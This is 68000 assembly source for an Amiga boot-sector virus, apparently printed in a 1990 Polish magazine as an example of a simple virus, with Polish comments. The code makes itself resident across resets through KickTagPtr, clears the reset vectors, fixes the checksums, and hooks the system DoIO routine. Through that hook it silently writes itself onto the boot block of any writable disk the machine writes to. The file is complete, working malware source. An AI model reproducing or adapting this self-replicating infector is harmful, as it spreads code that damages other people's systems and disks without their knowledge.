;* KEBAB Magazine No.2 pazdziernik 1990 *
;*      przyklad prostego virusa        *



virusdest:=	$7f800


	org	virusdest
	load	virusdest


	



;>exec.library
Exec:	=	4
FindResident:=	-96
SumKickData:=	-612

ciabprb:=	$bfd100
ciaapra:=	$bfe001
DoIOrom:=	$fc06dc			; procedura DoIO w ROM'ie
virus:	dc.b	'DOS',0
chk:	dc.l	0			; suma kontrolna
	dc.l	$370

	movem.l	d0-d7/a0-a6,-(sp)	; rejestry na stos
	bsr.s	active			; aktywacja wirusa
	movem.l	(sp)+,d0-d7/a0-a6	; rejestry ze stosu
	lea	dosname(pc),a1
	jsr	FindResident(a6)	; odszukaj dos.library
	tst.l	d0
	beq.S	error
	move.l	d0,a0
	move.l	$16(a0),a0
	moveq	#0,d0
	rts	

error:	moveq	#-1,d0
	rts	

dosname:
	dc.b	'dos.library',0

active:	lea	virusdest,a0		;skopiowanie wirusa
	lea	virus(pc),a1
	move.w	#[$400/4]-1,d7
copyvirus:
	move.l	(a1)+,(a0)+
	dbf	d7,copyvirus

	tst.l	$2A(a6)			; test wektorow reset
	bne.s	virusactive		; wektor uzyty
	tst.l	$2E(a6)
	beq.s	virusnoactive		; wektory czyste
virusactive:
	jsr	UnderReset
virusnoactive:
	move.l	Exec.w,a6
	move.l	#NewTag,$226(a6)	; KickTagPtr
	jsr	SumKickData(a6)
	move.l	d0,$22A(a6)		; KickCheckSum
	move.l	#MyDoIO,-$1C6(a6)	; wektor procedury DoIO
	rts

UnderReset:				; wyczyszczenie wektorow reset
	clr.l	$2A(a6)
	clr.l	$2E(a6)
Lab9:	move.w	#$17,d0
	lea	$22(a6),a0
	clr.w	d1
Kicksum:
	add.w	(a0)+,d1
	dbf	d0,kicksum
	neg.w	d1
	subq.w	#1,d1
	move.w	d1,(a0)
	rts	

MyDoIO:	tst.l	$2A(a6)			; czy cos po wekt. reset
	bne.s	novi1
	tst.l	$2E(a6)
	beq.s	viac1
novi1:	bsr.s	UnderReset
viac1:	cmp.b	#$3,$1D(a1)		; sprawdzenie trybu DoIO
	beq.s	DoIOwrite		; zapis
	cmp.b	#$2,$1D(a1)
	bne	ExitDoIO

DoIOwrite:
	cmp.l	#$200,$24(a1)		; sprawdzenie dlugosci
	beq.s	domore			; zapisywanego bloku
	cmp.l	#$400,$24(a1)
	bne.S	ExitDoIO

domore:	tst.l	$2C(a1)
	bne.S	ExitDoIO		; czy to jest bootblock
	tst.l	$28(a1)
	beq.S	ExitDoIO
	move.l	a4,-(sp)
	lea	storereg(pc),a4		; zapamietaj dane
	move.w	$1C(a1),(a4)+
	move.l	$28(a1),(a4)+
	move.l	$2C(a1),(a4)+
	move.l	$24(a1),(a4)+
	move.l	$20(a1),(a4)+
	move.l	(sp)+,a4
	move.l	$18(a1),a0
	move.b	$41(a0),ciabprb
	btst	#3,ciaapra		; write protect
	beq.S	ExitDoIO
	move.l	#virusdest,$28(a1)	; save virus on BB
	move.w	#$3,$1C(a1)
	move.l	#$400,$24(a1)		; two blocks
	move.l	#0,$2C(a1)		; track 0 block 0
	jsr	DoIOrom
	move.l	a4,-(sp)
	lea	storereg(pc),a4		; odswierz dane
	move.w	(a4)+,$1C(a1)
	move.l	(a4)+,$28(a1)
	move.l	(a4)+,$2C(a1)
	move.l	(a4)+,$24(a1)
	move.l	(a4)+,$20(a1)
	move.l	(sp)+,a4
ExitDoIO:
	jmp	DoIOrom			; koniec DoIO

NewTag:	dc.l	more1
	dc.l	0
more1:	illegal
	dc.l	more1
	dc.l	virusdest+$400
	dc.l	$012100ff
	dc.l	0,0
	dc.l	active

	org	$7f7e0

storereg:
	blk.w	9,0

